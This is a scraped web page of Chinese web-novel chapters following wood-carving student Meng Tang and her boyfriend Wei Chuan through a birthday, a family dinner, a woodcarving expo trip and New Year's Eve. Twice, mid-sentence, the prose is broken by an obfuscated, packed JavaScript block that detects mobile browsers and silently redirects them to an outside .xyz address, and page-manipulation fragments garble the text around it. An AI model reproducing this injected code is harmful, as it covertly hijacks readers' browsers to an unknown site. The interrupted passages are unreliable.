他为了自己都请假了。 “别按了。”孟棠指了指茶几,“抽屉打开,里面是生日礼物。” 魏川眼眸一亮,边去拉抽屉边笑了声:“藏那么紧?” “谁藏了。”孟棠嘀咕一声,“昨晚顺手扔里面的。” 魏川看到熟悉风格的木盒,抬了抬眼:“不会真的雕了我的木头小像吧?” 孟棠坐起来:“你自己看看不就知道了。” 魏川蹲在那儿打开了盒子,巴掌大的双人小像映入眼底。 “时间实在不多,只能雕这么大的。”孟棠有点不好意思,顺道解释了一句。 魏川溢出一声傻笑,眼眸比天上的繁星还要亮。 “我喜欢这个,这座木雕有名字吗?” 孟棠摇摇头:“你取一个。” “你……”魏川指了指孟棠,然后指向自己,“和我。” 孟棠点了下头,表示肯定:“挺好的,很直观。” 魏川将小像收好,说:“待会儿送回家,家里有人养护,放在这里我不放心。” 一份心意被人热切对待,孟棠摸了下魏川的下巴:“待会儿要回家?” 魏川没有回答她的话,像得到骨头的大狗,扑了上去。 孟棠使劲往沙发背上贴,仰着脖颈和他四目相对:“干嘛?” 魏川压下头亲了下她:“今晚跟我一起回家吃饭。” 孟棠一愣:“我也要去?” “我刚才看朋友圈,我爸妈他们都回来了。”魏川说,“生日没回去,今晚聚一下,我妈刚才发信息过来了。” “好。”孟棠应道,“不知道朵兰还记不记得我了。” 过去的两个月,她和魏川回去过两次,楚茵养的马尔济斯很喜欢她,每次过去,都会黏在孟棠的脚边。 “肯定记得啊。”魏川让开,搂着孟棠在沙发上坐下,“还困的话就睡,我定个闹钟,等你醒了我们再回。” 孟棠应了声,靠着魏川玩手机,没一会儿,眼皮耷拉下来,手机落到了地毯上。 沙发再好也不舒服,魏川将孟棠打横抱起来。 孟棠蹙了蹙眉,魏川低头小声道:“抱你回房间,继续睡吧。” 孟棠不再动了。 睡太久会头昏脑涨,一个小时的时候,魏川就想将孟棠喊起来。 但瞧 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“等一下。”楚茵叫住人,“今晚有些意外,你赵叔两口子过来吃饭,你跟孟棠说一声,不要拘谨,之前在老太太寿宴上已经见过一面了。” “好,我知道了。”魏川语气带着疑惑,“赵叔平日里不都跟爸约在外面吃饭吗?今天是什么好兴致?” 楚茵笑道:“还不是为了孟棠来的,他和你爸在外头碰巧遇见,拉着你爸去吃饭,你爸就说你和孟棠要回去,他就兴致昂扬地说要过来。” 魏川被逗笑:“上次就和孟棠聊了半天,还来啊。” “不许没礼貌啊,挂了。” 魏川去衣帽间换了身衣服,见孟棠穿着大衣,立刻上前扒拉开。 孟棠护住自己的衣领,防备地看着他:“干什么?” “外面这么冷,就穿这点?”魏川自己套了件大衣,反驳道。 孟棠:“……一点都不冷,从这里到车库,直接上车了,回到家里,也是车库到主屋,一点冷空气都接触不到。” 魏川:“我这不是怕万一嘛。” “万一也不怕。”孟棠小心翼翼扯了下大衣的领子,“衣服那么贵,保暖性太强了,我现在在屋里都觉得热。” 衣柜里都是楚茵送过来的衣服,孟棠看到价格都不太敢穿。 但尺码和风格都是合适她的,不穿也实在浪费。 两个月过来,她从衣柜里拿衣服都顺手了许多。 孟棠当时就想,习惯真是一件可怕的事。 魏川给的太多,她总怕接不住。 “走了,发什么呆。”魏川搂住孟棠,将人往门外带去。 “把你的双人小像带着。”孟棠无奈地提醒了声。 魏川“啧”了声,立刻返回拿走了自己的生日礼物。 回到家时,魏立峰和赵行衍两口子还没到。 魏川拉住孟棠的手,将她外套脱掉后递给了一旁的保姆。 楚茵看到,心里还是啧啧称奇,这还是自己那个饭来张口,衣来伸手的儿子吗? 都被调教成什么样了? 第192章 番外8:迟早让你还回来 楚茵对孟棠招了招手:“过来坐吧,你叔叔还得要一会儿才能回,你跟魏川先吃点东西。” “谢谢阿姨。”孟棠坐下后,给魏川递过去一份山药紫薯糕。 楚茵看到,轻笑一声,退出了餐厅。 魏思嘉没一会儿从外面回来了,后面还跟着打扮得花枝招展的魏思沅。 “姐,真的不能借你办公室拍拍吗?” 孟棠吃完,走出来,正好听到魏思沅这句话。 视线接触后,她给两人打了招呼。 “棠棠,你来了。”魏思沅走过去,搂住她的手臂,“给我评评理,我第一部女主剧,虽说是个网剧,但也是女主啊,我借一下大姐的办公室拍两个场景,她都不借给我,你说她是不是不支持我?” “呃……” “棠棠表示很为难。”魏川从后面拆散她俩,“别挑拨我女朋友和大姐的关系。” “魏川!”魏思沅抓住魏川的卫衣帽子,“我跟孟棠讲话呢,你插什么嘴?” “**。”魏川脖子一勒,整个人往后仰,“魏思沅,赶紧给我松开。” 魏思沅松开他,白了他一眼。 “我哪里说错了。”魏川哼了声,“大姐整天忙成那样,你还要借她办公室拍?不知道里面有很多**啊。” 魏思沅“嘁”了声:“你懂什么,**都有专门的保密柜。” 魏思嘉无奈地摇了摇头:“你俩别吵了,三岁吗?” 魏川和魏思沅同时扭头,又同时挽住孟棠的胳膊。 “去客厅。” 魏川和魏思沅异口同声,扯着孟棠一道使劲。 “你放手。” 魏川和魏思沅扭过头对上视线,互不相让。 “你俩别闹了。”孟棠抬起胳膊,“我自己走。” “哼。” 魏川和魏思沅各自白了对方一眼,在孟棠左右坐下。 孟棠如坐针毡,帮哪个都不是。 楚茵看到他俩这样,一个头两个大,说:“你俩几岁了啊?见面就吵吵,没完没了了?马上客人就到了,能不能懂点事。” 魏川的手臂穿过孟棠的后颈,将人搂进怀中,说:“还不是魏思沅,整天尽提些无理的要求。” 孟棠拍了下魏川的手:“坐好。” 话音刚落,门口传来魏立峰的笑声,所有人起身迎了出去。 赵行衍携夫人一道进了门,见到孟棠,有点兴奋地打了招呼,随后又给自己的夫人介绍了孟棠。 孟棠一一打了招呼。 魏立峰对她微微颔首,说:“你赵叔有点事找你,你跟小川跟他聊聊。” 孟棠表情微讶。 赵行衍笑了声,说:“自从老太太寿宴上见过你的本事,我可一直对你念念不忘啊。” “赵叔。”魏川“啧”了声。 “你看你小气的。”赵行衍笑了声,“先坐,我跟你的小女朋友谈点事。” 魏川带着孟棠坐下,像是孟棠的代言人,问赵行衍:“您什么事啊?” “这样的啊。”赵行衍示意他稍安勿躁,“我呢,有块现成的料子,想请你雕刻。” 孟棠和魏川对视了眼,说:“抱歉啊,我不接件。” 赵行衍一愣:“这是为什么?” “我还在上学呢,专业课本来就忙,这学期又在学大件雕刻,这个世界上,比我好的也大有人在,您可以去找他们。” 赵行衍叹了声气:“我看到了小川床头的摆件了,下刀如风,一点不像女孩子的劲儿。” “我跟爷爷学的,风格像他也很正常。”孟棠解释道。 赵行衍:“出于好奇,我去网络上搜了你的信息,发现你参加过一个木雕比赛,那尊盲僧听琴我真的很喜欢,所以才想要找你雕刻。” 孟棠再次委婉拒绝:“师门有规定,毕业前不能下刀挣钱,您要是喜欢,可以找我爷爷,不过他最近在忙政府单位的四扇屏风,只怕也没时间。” “没事,我可以等。”赵行衍说,“我特意去了解过,你擅长中小件,孟老擅长大件,我那件料子适合中件,你看了就知道。” 孟棠:“……我还有两年才毕业。” 赵行衍依旧还是“没关系”,一副我等得起的模样。 “他愿意等,你也不用推辞。”魏立峰安孟棠的心。 “行。”孟棠一口答应,她对自己的手艺有信心,拒绝不过是不想让人家白白等两年。 “那可太好了。”赵行衍越看孟棠越喜欢,“不知道你家里几口人啊?有兄弟姐妹吗?” 孟棠说:“家里只有我和爷爷。” “那真是可惜,我儿子——” 赵太太干咳了声,阻止了赵行衍突来的不着调。 赵行衍尴尬地笑了笑:“那个,吃饭去不?” 魏立峰拍了拍好友的肩膀,使劲捏了下,在他耳边小声说: “你刚才要是把剩余的话说出来,我怕小川会没大没小地揍你。” 赵行衍起身,汗颜道:“真不是故意的,你说我家那小子跟小川差不多大,整天面瘫着一张脸也不说话,我这不是羡慕小川找这么优秀的女朋友嘛。” “羡慕羡慕得了。”魏立峰语气有些得意,“要不是人家家道中落,这种心性高的书香门第说不定还真看不上咱这铜臭满身的商人。” 赵行衍:“谦虚了不是,小川被你们养得这么好,谁不喜欢啊。” 魏立峰朗声笑了笑,喊楚茵准备开席。 魏川盯着赵行衍的背影,都快把人家烧出一个洞来了。 孟棠抵了抵他:“吃饭了。” 魏川扭过头:“你刚才听懂了他言下之意吧,我还在这儿呢,就想撬墙角了?” “什么撬墙角?”孟棠无奈了,“口误而已。” “还问你有没有兄弟姐妹,有姐妹就能看上他家面瘫了啊?”魏川还是有点不爽。 “面瘫?”孟棠好奇地撇过眼,“谁啊?” “你不需要知道是谁。”魏川转过她肩膀,将她往餐厅带,“吃饭去了。” 孟棠这个人,好奇心还真不大。 她跟魏川上了桌,安静地开始吃饭。 席间长辈聊长辈的,小辈聊小辈的,直至长辈放了筷子下了桌,小辈才跟着离开餐厅。 明天两人都要回学校,魏川率先和家里人告了别。 楚茵拦了下:“要不住家里得了,明早让司机送你们回学校。” “还是算了。”魏川 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两人在雕塑楼前道了别。 一天下来,彼此之间没有一条信息,晚上六点,孟棠还是没收到魏川的信息,径自去吃了饭。 明天周一,晚上孟棠自然回了寝室。 谢泠音眼尖,在她洗完澡后,一把薅住了她手臂。 孟棠回眸:“怎么了?” 谢泠音回头看了眼石岚和杨可,指了指她的颈侧。 孟棠对着桌上的镜子看了眼,羞臊满脸,有些无措地看着谢泠音。 谢泠音小声地笑道:“什么表情啊,都是过来人,谁还不懂了,不过你自己要注意,别给人看到。” 孟棠拉了下衣领:“睡觉去了。” 爬上床,脸上热意还没消退,孟棠刚拿起手机,魏川打了视频过来。 孟棠戴上耳机接了,视频里一片黑暗,只能依稀瞧见魏川的人影轮廓。 “你下训了?” “嗯,刚洗过澡,往寝室走呢。” “怎么就穿一件卫衣?没套棉服吗?” “不冷,”魏川说,“刚洗过澡。” 寒冬腊月的,孟棠简直无语:“下次洗完澡,出来要穿外套。” 魏川笑了声:“知道了,马上寒假了,你什么时候回去?” 孟棠:“当然一放假就回了,线上教学还是不如一对一的当面授课。” 时间本来就少,当然得趁假期早点回去。 “寒假的训练计划出来了。”魏川说,“比去年还少放两天假,我可能没办法跟你一起过年了。” “五天吗?”孟棠微怔,“这么离谱?” 魏川叹气:“队里的老中锋,计算机系的师哥受伤了,挺重的伤,比赛要换人顶上,要大量的时间去磨合,老贺压缩了我们放假时间。” “没关系,本来你也不会一起跟我过年。”孟棠说,“你也是要在自己家过年的。” 他本来打算去雁清的,院里那三个人在一起,能过什么热闹的年。 要不除夕中午在家,晚上直奔雁清? 第193章 番外9:记得想我 除夕夜去雁清,只是暂时的一个想法。 还没确定,魏川没有对孟棠说,省得给了她希望又让她失望。 魏川继续说:“估计到放假都没什么时间见你了,今天训练,队里乱七八糟的,之前我们以配合默契出圈,这次换人,也不知道能不能达到以前的效果。” 看似闲聊,其实一字一句都在解释自己不能陪在孟棠身边的原因。 除了训练任务外,他们也得应付期末的所有考试。 孟棠怎么会不明白,说:“那你好好训练,好好吃饭,我会给你发消息的,有时间回就行。” “你还给我发消息。”魏川取笑她,“每次都是早安晚安,一句别的话都没有。” “我也就早晚有点空。”孟棠轻笑着哄他,“咱俩都忙,就别计较了吧。” “不计较。”魏川顺着孟棠的话也叮嘱了几句,然后道了“晚安”。 孟棠暂停了大件雕刻,因为要准备期末作业。 专业课程作业,是以实物作品提交和现场答辩形式展开。 材料倒是没有限定,金属、泥塑或木雕…… 孟棠没去搞什么创新,依旧选择了木雕。 每年她的作业都有一句不够创新的点评,但集体评分的教研室又对她的作品赞不绝口。 走传统路子,不代表不能创新,但孟棠学的是纯正的传统技法和审美体系。 传统艺术也可通过题材隐喻当今社会的话题,过分迎合并不合适。 她木雕课的老师就说过一句话,说孟棠在木雕这一块有着非凡的坚持和骨子里的清高。 当然,这句话并不是贬义,而是对于现代艺术过分追求创新的嘲讽。 每年美院的毕业展览,外行人看不懂,就有一堆懂行的来一句“你懂什么”。 孟棠认为,基于大众的审美才是有托底的艺术。 那些自认毕业于顶尖美院,大搞天马行空,让艺术和生活割裂的作品,孟棠嗤之以鼻。 艺术来源于生活,从来不是一句空话,她永远都会在这条道路上行走和实践。 班里除了孟棠,还有谭曦选了木雕。 两人流派不同,但每天在一起做活,也做出了点情意。 出了工作室,谭曦掸了下头发上的灰尘,问孟棠:“你什么时候回去啊?” “考完试就回。”孟棠扭过脸,“怎么了?” “东簏年底有木雕大展,你不知道?” “我知道啊,这些年不都在办嘛。”孟棠说,“你怎么突然跟我说这个?” “想约你一起呗。”谭曦说,“没人陪我去啊,一个人挺无聊的,雁清和东簏又离得近。” 开车一个多小时就到了。 年底是文化消费和商业合作的集中期,像东簏这种木雕产业发达的地方,每年都有相关的展演。 孟棠已经两年没有去过,被谭曦这么一说,顿时心动不已。 “去不去啊?”谭曦用肩膀撞了下孟棠,“那里离影视城很近,说不定还能偶遇明星。” 孟棠:“……我一个不认识,要偶遇明星干什么?” 谭曦直接被整笑了:“到底去不去?” 孟棠:“去吧,我跟家里说一声。” “行。”谭曦终于约到人,开心地应了声。 孟遇春十分支持孟棠躲在外面活动,整日关在家里也没什么意思。 孟棠就这么和谭曦定下了东簏之行。 半个月后,每个专业陆续完成期末考试,学校里空了一大半人。 魏川从训练馆跑到女寝,孟棠正好推着箱子出来。 “怎么带箱子了。”魏川上前接过,“有什么东西一定要带回去?你到高铁站能自己拿吗?” 孟棠:“……我一个箱子也拿不动了?” 魏川将她的箱子拎到后备箱,说:“还要过安检,麻烦。” “我不回去,和谭曦去一趟东簏。”孟棠说,“你稍微等一下,她还没下来。” “东簏?”魏川关上后备箱,“怎么想着去那儿了?” 孟棠回他:“有个木雕大展,去看看。” 魏川失笑:“你们美院人还真的不是在看展,就是在看展的路上。” 孟棠轻笑:“我们还捡垃圾呢。” “哈哈……”魏川揉了揉她的头,“你捡过没有?” “当然有了。”孟棠瞥了他一眼,“之前去捡树叶你忘了?那也算捡垃圾。” “明明是美好回忆,到你嘴里变成捡垃圾了。”魏川稍稍反驳。 谭曦推着箱子走过来,孟棠的话堵在喉咙,她推了下魏川:“帮她把箱子拿到后备箱。” 魏川对谭曦微微颔首:“给我吧。” “谢谢。”谭曦将箱子给魏川,转而对孟棠说,“他也去吗?” 孟棠打开后座的门,说:“他不去,他送我们去高铁站。” 魏川请了两个小时的假。 孟棠早说了不用他送,他非要来。 谭曦松了口气:“差点成为电灯泡。” 孟棠跟她进了后座,魏川放完行李,看到后面的她时一愣。 孟棠跟谭曦聊天,没有注意到魏川的表情。 魏川上了车,干咳了声:“走了?” 孟棠应了声“好”,又接着和谭曦聊天。 魏川系上安全带,一言不发启动了车辆。 从学校到高铁站,只要碰到红灯,他就从后视镜里盯着孟棠。 偏偏丝毫没有引起孟棠的注意。 她和谭曦聊着关于木雕大展的事,一句他也听不懂。 魏川一会儿渴了喝点水,一会儿嗓子痒了咳一声。 就这也没让孟棠的思绪转到他的身上,红灯还剩五秒,魏川咬了咬牙,继续前进。 果然,人对于已经得到手的东西总是不珍惜的。 以前的心思都在他身上,现在都不知道偏哪儿去了。 魏川心里酸得很,又不能跟一个女生吃醋。 “去年是不是有一座落地屏?多层镂雕,光影效果太绝,就在网上传开了?” 谭曦“嗯”了声,拿出手机给孟棠看自己的相册,说: “大师级作品,改良了传统深雕的层次处理,我当时看了,确实挺厉害的,不过我喜欢敦煌飞天的黄杨木雕,飘带刻得太牛了,我记得这种木头容易脆裂,怎么处理的?” 孟棠笑了声:“这是细作料,含水率敏感,对于湿度和温度都有严格的环境要求……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146153|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>魏川听得一个头两个大,还不能打断,这两人,硬生生说到了高铁站。 从后备箱拿了行李,魏川问孟棠:“几点的车?” 孟棠说:“四点。” 魏川抬手看了下手表,这才三点,眼珠一转,说:“我去给你们买点吃的带着?” 孟棠想说不用,但谭曦在一旁,便道:“行,我们在这儿等你。” 魏川磨了磨牙,将手中的箱子推给谭曦:“麻烦帮忙看一下,我带孟棠去买个东西,你想吃什么?” 谭曦说:“带瓶水吧。” “好。” 还算上道,魏川在心里哼了声,拉着孟棠走了。 “慢一点啊。”孟棠跟在后边跟不上他的脚步。 魏川放慢了步子,将她带进了附近的超市里。 “想吃什么,自己看。”魏川闷声闷气地说了句,乖乖拿了购物篮。 孟棠终于从他的语气里听出了一丝不快,拉住购物篮的边缘,歪着头去看他:“你怎么了?” 魏川哼了声:“你为什么不坐副驾?” 孟棠一愣,为这事闹脾气了? 她松开篮子,走到另一边拉住魏川的胳膊,小声哄道:“那我也不能让谭曦一个人坐后面落单吧,多尴尬。” “那我一个人开车就不孤单了?”魏川总有理,“我又是喝水,又是咳嗽的,像个小丑一样试图引起你的注意力,你倒好,跟人聊了一路的木头,我说给你们买吃的,你竟然还想让我一个人过来,有没有点良心?” 孟棠:“……生气了?” 魏川呵笑:“不敢。” “小气鬼。”孟棠嘀咕了句,手掌下移,和他十指相扣,“这样行了吧?” 魏川“嘁”了声:“我就这么好哄?亲都不亲一下?” “这么多人呢。”孟棠瞪圆了眼,“你让我在这儿亲你?跟公开处刑有什么区别?” “待会儿找个没人的地方。”魏川握紧她的手,“现在去给你买吃的。” 孟棠扯回他的手:“去东簏很快就到了,你别买一堆东西,下车的时候不好拿。” 魏川说:“知道了,挑两样爱吃的,再拿两瓶水,你喝什么?” “矿泉水就行。” 魏川拿了两瓶水,就给买了鸭脖和薯片,还有一盒糖。 孟棠喜欢吃的柠檬味没有了,拿了草莓的。 结完账,两人和谭曦汇合。 接下来就要进去安检,魏川进不去,只能跟到最后一步。 谭曦见他依依不舍的,对孟棠说:“我先帮你把箱子过安检,你俩可以再腻歪五分钟。” 周围到处都是人,怎么腻歪啊,孟棠摇了摇头:“我跟你一起吧。” 魏川一把拉住她的手腕,对谭曦笑了笑:“谢谢,麻烦你等几分钟。” “魏川,你拉我去哪儿?”孟棠被他拉着往回走。 大厅之外的走廊每隔几米就有硕大的圆柱,魏川扯过孟棠,将她抵在圆柱上亲了下去。 孟棠一惊,到处都是人,脸还要不要了? 好在他只是亲了一下。 松开时,孟棠毫无威慑力地瞪着魏川。 他笑了下,擦去她唇角的水光:“记得想我。” 第194章 番外10:这什么庆祝理由 孟棠红着脸过了安检,等检票进站的时候,还被谭曦一通调侃。 孟棠把魏川买的零食塞给她才堵住了嘴。 两个小时后,两人抵达东簏。 今天是不可能出去了,谭曦带孟棠去了酒店。 谭曦就是东簏本地人,她和孟棠有点像,手艺也是传承自家族。 只不过她大哥对木雕没兴趣,而家里又不让女孩子学,导致她学的时候十几岁了。 技艺自然是比不上孟棠,但刻苦的心一点不少。 本以为自己有点天赋,去了z大遇见孟棠后,每次都被搞破防。 “你真的不跟我回去啊?”谭曦还是有些不得劲,“你都来了,还住酒店,显得我不够仗义。” “别来这套。”孟棠赶紧阻止她,“你不知道我吗?要是去你家住,我会非常别扭,还是住酒店自在一些。” 谭曦有点忧心:“我不是不放心让你一个人住酒店嘛,要不我陪你一起吧?” 话音刚落,孟棠的手机响了。 见是魏川,她对谭曦说:“我先接个电话。” 谭曦:“你请。” 孟棠接了电话后,魏川上来就问:“我忘了问你,你住的什么酒店?” “就在谭曦家附近找了个酒店。”孟棠将酒店名字也说了。 “她家在哪儿?”魏川问。 孟棠点开免提,示意谭曦跟他说,谭曦报上了地址。 魏川在手机里说:“等我一下。” 孟棠和谭曦对视了眼,不理解魏川要干什么。 过了十来分钟,魏川说:“我给你查了啊,你们要看的木雕展览距离谭曦家有点远。” 孟棠说:“没事,明天早点起。” “身上又不是没钱,住的什么酒店。”魏川难掩担心,“我现在给你重新订酒店,你把手机给谭曦。” 谭曦立刻道:“我听着呢,你说吧。” “我给孟棠订了新的酒店,你跟她一起吧,行吗?” “行啊,你订的哪儿啊?” 魏川说了酒店名字:“我订的观景套房,服务很齐全,出门都有车接送,你们现在就把房间退了吧,等一会儿有车过来接。” 谭曦朝孟棠竖起了大拇指:“好,我们去楼下等。” 魏川又叮嘱了几句,挂了电话。 谭曦有些羡慕地看着孟棠:“没见过这么会谈恋爱的男人。” 孟棠失笑:“夸张。” “没有夸张,其实你现在订的这个酒店已经很好了,他非得还让你退,还让我陪你一起,担心你的安全呗。” “有些男人只会嘴上说说,拿出行动的却很少,珍惜吧。” 孟棠拿起包:“走吧,下去退房。” 两人下了楼,退了房后在酒店门口闲聊。 没一会儿,一辆黑色的商务车在两人面前停下。 核对了信息后,孟棠和谭曦转去了魏川订的酒店,最高规格的套房。 谭曦感慨:“有钱有颜,又高又帅,体贴大方,到底去哪儿找这样的男朋友啊?” 孟棠拿了行李箱,将里面的东西一一拿出,说:“你跟我一起睡,还是去另一个卧室睡?” “分开睡吧。”谭曦说,“我有点认床,跟你一起的话,会打扰你。” “行。”孟棠拿了浴巾,“我先去洗澡,洗完澡咱们再叫餐吧。” 谭曦说:“你先洗,我来叫餐。” “好。” 孟棠洗完了澡,谭曦已经把晚餐摆到了客厅的茶几上。 魏川闲不住,又给她发来了短信。 孟棠边吃边回,还给他发了一张晚餐的照片。 没多久,魏川就没了下文。 孟棠吃完饭,拿着手机搜了下明天的木雕大展,跟谭曦说: “这次苏派那边也有新作品过来,海外回流的,来的还真值。” 谭曦点了点头:“其实我很好奇,黄杨木雕以小型圆雕见长,你为什么还要学大件?是想撕掉只能做小件的标签吗?” 孟棠笑了声:“我可没有这么伟大的想法,中国木雕流派各有长短,能够将自己最擅长的做到顶峰,就是对木雕最好的传承。” “黄杨木雕无大件,本身就受限于材料难长,而且传承了百年,已经形成了以小型圆雕、镂雕为主的技艺传统。” “工具和刀法也都是针对小件设计,我学大件完全是为毕业作品而准备,视觉冲击力对于毕业作品来说也很重要,太小的话没有这样的效果。” 谭曦挺赞同孟棠的话,点了点头:“其实黄杨木雕的师徒传承也有局限性,看得出来,孟大师对你是更注重小件精雕的系统训练,加上你的天赋,才能让你在这个年纪有如此耀眼的实力。” “而且历史上很少有大匠人尝试大件,也就难以形成大件的系统技法,但孟大师,好像更擅长大件,他到底是怎么做到的?” “那你就说错了,我爷爷不是更擅长大件。”孟棠看着她,“大件见功底,小件显真章。” 孟遇春大名,木雕界人人敬仰。 守着一套老破宅,凿得下布局气势的大件,也雕得了毫厘精确的小物。 一大一小,一放一收,对于手上的控制力是极其考验人的。 孟遇春在两者之间自在随意,无分大小,已经做到了登峰造极。 他晚年的作品只有四个字可以体现:以简驭繁。 “以小见大。”谭曦笑道,“受教了。” 能遇见一个在专业技艺上这么聊得来的人,孟棠觉得很幸运。 她对谭曦笑了笑:“我以后,恐怕达不到爷爷的境界。” 谭曦:“这有什么好烦的,黄杨木雕本就以中小件为主,你自己都说流派不同,各有长短了。” “我就爱黄杨木雕,题材丰富,宗教神佛里,观音、弥勒、罗汉……”谭曦一一给她举例,“历史典故里的文人雅士和忠孝故事数也数不清,更别提民俗人物了,我最爱童子仕女,还有那梅兰竹菊、莲花仙鹤……” “黄杨木雕既有文人清奇古拙的意境,又有民间工巧趣吉的鲜活,魅力聚于方寸之间,雅俗共赏,是真正的艺术。” “文房清供、案头雅玩,哪一个不素净含蓄,跟你孟棠似的虽古拙但生趣……” 谭曦滔滔不绝,将孟棠夸了个底朝天。 孟棠愣了半晌,问她:“你喝醉了吗?” “我都没喝酒,醉什么?”谭曦白了她一眼,“承认我在夸你,让你害臊了?” “没这意思。” 谭曦哼了声:“你们寝室就你一个雕塑系的,只有我能跟你聊木雕的话题,算得上知己吧?还不感谢我。” “是是是,感谢你。”孟棠讨饶,“灵魂知己,可以吧?” “这还差不多。”谭曦说,“要是手边有酒,真得跟你干一杯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157349|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 孟棠说:“我可喝不了啊,魏川知道了,免不了一顿唠叨。” “怎么能败在男人掌心里呢?”谭曦吐槽了一句,“你要支棱起来啊,惯着干什么?” “一个钱到位,事办妥的男朋友,惯着怎么了?”孟棠才不听她的。 谭曦无言以对,人家说的是事实。 “好了好了,不听你秀恩爱了,我也去洗澡了。” 孟棠和谭曦道了别,洗漱后突然笑了声。 她当初和谭曦,是怎么莫名其妙变成朋友的? 亲情、友情、爱情……老天爷待她不薄嘛。 孟棠轻轻扯了下唇角,闭上眼睛,进入了梦乡。 第二天一早,孟棠和谭曦在酒店吃过早饭直奔展览现场。 现场太多,展览的物件也让人眼花缭乱,孟棠就围着精品展区逛,大多都是家具类。 逛了一天,心累腿也累,谭曦又陪她住了一晚才回去。 孟棠离开东簏的时候给魏川发了信息,到家也报了平安。 但魏川没有回复,下午三点,他大概还在训练。 方姐看到人,赶紧给孟棠做了点吃的端了过去,顺道问一嘴:“小魏没陪你一起啊?” 孟棠失笑:“我先去的东簏啊,您忘了?而且他还有训练,今年只有五天假,忙着呢。” “五天?”方姐晕了,“什么学校啊,过年就放五天?” “你捣什么乱啊?”孟遇春插了一嘴,“说明人忙着呢呗。” 方姐:“我还以为他会跟小棠一起过来玩呢,也不知道他放假了会不会过来。” 孟遇春:“……等他放假,团圆饭都吃完了,他跟小棠只是交往状态,怎么可能跑这儿来过年。” “嗯。”孟棠表示肯定,“好吃。” 方姐:“……就知道吃。” 孟棠笑了笑:“咱们三个过年也一样嘛。” 这事确实是她考虑不周,方姐说:“今年是要热闹一下,庆祝你谈恋爱。” 孟棠:“……这什么庆祝理由。” 孟遇春嘿笑一声:“我觉得挺好,改天去老裁缝那儿做一身过年穿的衣服,要喜庆点的。” 孟棠:“……我还能穿个大红的出门啊?” “过年穿红怎么了?”孟遇春跟她唱反调,“我看人家穿的一字盘扣的毛领旗袍挺漂亮的。” “行行行,我待会儿就去,给你们俩都做一身。” 孟遇春:“你可别把我打扮成妖怪老头,稳重端庄一点。” “知道了。” 过年前的这段时间,孟棠过得充实又忙碌,整天后院裁缝店两边跑。 一直跑到出席前一天,终于将新衣服拿回了家。 各自试过后,又拍了一通彩虹屁。 方姐看她的眼神宠溺温柔:“咱家小棠穿这一身红一点不俗,竟然还有那么点素净高雅的意境。” 孟棠羞赧:“别逗我。” “行,准备吃饭吧。” 三个人也不会随便对付,方姐做菜对于量的把握像孟遇春雕刻一样精准。 翌日除夕,更是每一道菜都精致得不像话。 忙着团圆饭,孟棠也一直在帮忙,虽然没起到多大作用。 忙到七点多,老爷子找了个吉利的时间开了席。 孟棠将电视开着,边吃边等春晚,添一个氛围。 孟遇春刚将筷子举起来,前院大门嘭嘭被砸响。 第195章 番外11:乖宝过来一点 孟棠和方姐面面相觑:“这个点,谁会过来?” 老爷子深居简出,平日里除了左邻右舍,和其他人没什么来往。 “我去看看。”方姐起身,“你们先吃。” 方姐去了前院,高高挂起的大灯笼下,魏川笑着一张脸:“方姐,我来了。” “小魏。”方姐眼眸一亮,语气惊喜,“你怎么这时候来了?” “我在家吃过午饭赶过来的。”魏川将拎着的上门节礼递给她,“赶紧帮我拎一些。” 方姐接过一堆礼盒,踮起脚往大门外看:“你开车来的啊?” “是啊,开了我五个多小时。”魏川笑了声,“你们吃饭了没?” 方姐转头关上大门,示意他赶紧进去,说:“刚要吃,就听到敲门声了,小棠回来那天我还想着你过年会不会过来,没想到你真来了。” 魏川笑了声:“我一直在训练,想来又怕来不了,今天才确定要过来,来得急,想给孟棠一个惊喜,就没告诉她,方姐,有没有我吃的啊?” “有。”方姐乐呵道,“都说了我们还没吃呢,今晚团圆嘛,卡着人数做饭不太好,按照吉利数字做了双数的,就是份量少了些,十道菜呢,够你吃的。” “太好了。” 他快饿晕了。 孟棠见方姐迟迟没回,跟老爷子说了声,起身出了餐厅的门。 刚到院中,被突然出现的魏川吓了一跳,步子都迈不动了,眼神定定地看着他。 魏川手上还拎着节礼,不管不顾地揽住她抱了下:“今天这么漂亮。” 孟棠呆愣愣地立在原地,半晌才找到自己的声音:“你……你怎么过来了?” 跟做梦似的,这个点到雁清,只能自己开车吧? 厨房离得近,方姐将东西放到厨房后,又接走了魏川手里的节礼,说: “你俩说话时间不要太长,赶紧过来吃饭。” “好。”魏川应了声。 等方姐走了,他掐着孟棠的后颈,低头亲了下,速度很快。 “想没想我?” 满院的彩灯和灯笼散发的光柔和地笼罩在小情侣身上。 孟棠点了点头。 “走吧。”现在还不是说话的好时机,魏川搂住孟棠的肩膀,“吃年夜饭去。” 孟棠跟着转过身体,还没进餐厅,就朝里喊了声:“爷爷,魏川来了。” 魏川跨进屋里,和孟遇春打了招呼。 孟遇春指了指孟棠旁边的位置:“坐吧,喝一点?” 魏川坐下来,接过方姐给他的筷子,问:“什么酒啊?” “黄酒。”孟遇春示意他将酒杯倒满,“本地特色,一冬一酿,喝吗?” 魏川瞥了眼孟棠手边的酒瓶,显然是果酒。 大过年的,老爷子邀请,他拒绝也不太好。 “行,陪您一起喝点。”魏川给自己和老爷子倒了酒。 孟棠抵了抵他:“喝酒之前,先吃点菜。” 